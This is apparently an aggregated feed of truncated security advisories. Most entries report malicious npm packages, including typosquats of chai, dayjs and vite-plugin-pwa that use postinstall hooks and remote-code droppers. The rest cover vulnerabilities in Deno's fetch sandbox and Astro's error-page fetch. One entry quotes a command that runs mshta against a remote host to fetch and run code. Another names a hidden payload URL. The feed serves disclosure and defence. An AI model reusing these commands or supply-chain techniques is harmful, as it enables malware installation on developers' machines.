MAL-2026-5930 Malicious code in bubblestr (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7831cb93037b6f364e2174f6d4fb64b38bac958e54f3653b8a70810681972172 package.json declares "postinstall": "node index.js", and index.js is a heavily obfuscated single-file script RC4+base64 string-array with rotating...

Malicious code in bubblestr (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7831cb93037b6f364e2174f6d4fb64b38bac958e54f3653b8a70810681972172 package.json declares "postinstall": "node index.js", and index.js is a heavily obfuscated single-file script RC4+base64 string-array with rotating...

Malicious code in vite-config-field (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e5dabbc9cf746e153391fbe76f4dc54f9bccb9f7fd467d5b80d07c84ab1fb58 [email protected] impersonates the legitimate vite-plugin-pwa package README copies its banner/badges, funding field points at antfu's GitHub...

Malicious code in ssr-auth-sync (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fe43338279cb894ffacc18ef9ec757d4b4fa8b603672b0bedcb4c00d9f8a806 On require'ssr-auth-sync', index.js loads lib/writer.js, which immediately fetches a base64-hidden URL https://www.jsonkeeper.com/b/PJNZP, an anonymo...

MAL-2026-5931 Malicious code in mci-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1ae26c09350fdf9fb630e382c71dd730583ba1822122d232cde49a259597264f On npm install, mci-sdk runs the postinstall hook node./src/exec.js, which imports mci from src/core/index.js and invokes it at module top level. The...

MAL-2026-5928 Malicious code in chai-test-mocks (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61a1bfd9f5d478d2cc7c947470544e99015a830dd5ecbb7ad8cdb54976c8d6ef chai-test-mocks impersonates the legitimate chai-jest-mocks package replicated README, reused CircleCI/coveralls badges pointing at chai-jest-mocks b...

Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

GHSA-CPGJ-F7G3-2PP2 Deno: `fetch()` API sandbox bypass via missing DNS resolution check

Summary When fetch was called, Deno checked the destination hostname against --deny-net rules but did not re-check the IP addresses that hostname resolved to. An attacker-controlled script could use a specially crafted domain name that passes the hostname check yet resolves to a denied IP,...

Deno: `fetch()` API sandbox bypass via missing DNS resolution check

Summary When fetch was called, Deno checked the destination hostname against --deny-net rules but did not re-check the IP addresses that hostname resolved to. An attacker-controlled script could use a specially crafted domain name that passes the hostname check yet resolves to a denied IP,...

Malicious code in chain-chai-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4287ff6637bb0d3109dcdc3082aece79d69deca2a3580ebf850ec1c13e8a3e00 [email protected] advertises itself as a pino-style logger keywords fast/logger/stream/json, exported alias module.exports.pino = middleware,...

MAL-2026-5901 Malicious code in chai-as-polished (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b2ea0d46e0bb4382e8d684d025cb72b7f99e37874c571e9946ae1268b70be6cf Package name is a one-edit typosquat of the widely-used chai-as-promised, but the shipped code is unrelated to chai. The exported middleware spawns a...

MAL-2026-5902 Malicious code in chai-as-tokenized (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55c10da182a0c79ca5eb0f85c6b2e334b7ee4e90946dfcc34feb44e80afa4485 Package name impersonates chai-as-promised, and the README is a copy of pino's documentation, but the actual code is a remote-code-execution dropper...

MAL-2026-5906 Malicious code in chai-plugin-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 26567b08d635c9b26d6befaba3dfc61a957bcf295cb321d03025b39bc54890ad Package republishes the chai source tree under the confusable name chai-plugin-kit. The package's main entry index.js spawns a detached, stdio-silenc...

MAL-2026-5904 Malicious code in chai-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67e08b149ec19ba5622783cfdf864741264b5f6cbe5f56a15c8553c6f1ab5106 Package name chai-plugin impersonates the popular chai assertion library — README and copyright headers reference chaijs.com / chaijs/chai, but the...

MAL-2026-5892 Malicious code in caspian-day-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 895fe8e087ec7af36d61e8a6972f484e70bc1b828374ae83cef9ff4a927f7b55 caspian-day-js impersonates the popular dayjs package: package.json copies author iamkun, homepage day.js.org, and repo github.com/iamkun/dayjs.git,...

Astro: Host header SSRF in prerendered error page fetch

Summary Astro SSR apps with prerendered error pages /404 or /500 using export const prerender = true fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header i...

GHSA-2PVR-WF23-7PC7 Astro: Host header SSRF in prerendered error page fetch

Summary Astro SSR apps with prerendered error pages /404 or /500 using export const prerender = true fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header i...

PT-2026-49740

Name of the Vulnerable Software and Affected Versions Astro versions prior to 6.4.6 Description Astro SSR applications using prerendered error pages, such as '/404' or '/500' with export const prerender = true, fetch these pages over HTTP at runtime during an error. The fetch URL is derived from...

PT-2026-50153

Name of the Vulnerable Software and Affected Versions Deno versions prior to 2.8.1 Description When the fetch function is called, the runtime validates the destination hostname against --deny-net rules but fails to re-verify the IP addresses that the hostname resolves to. This allows an...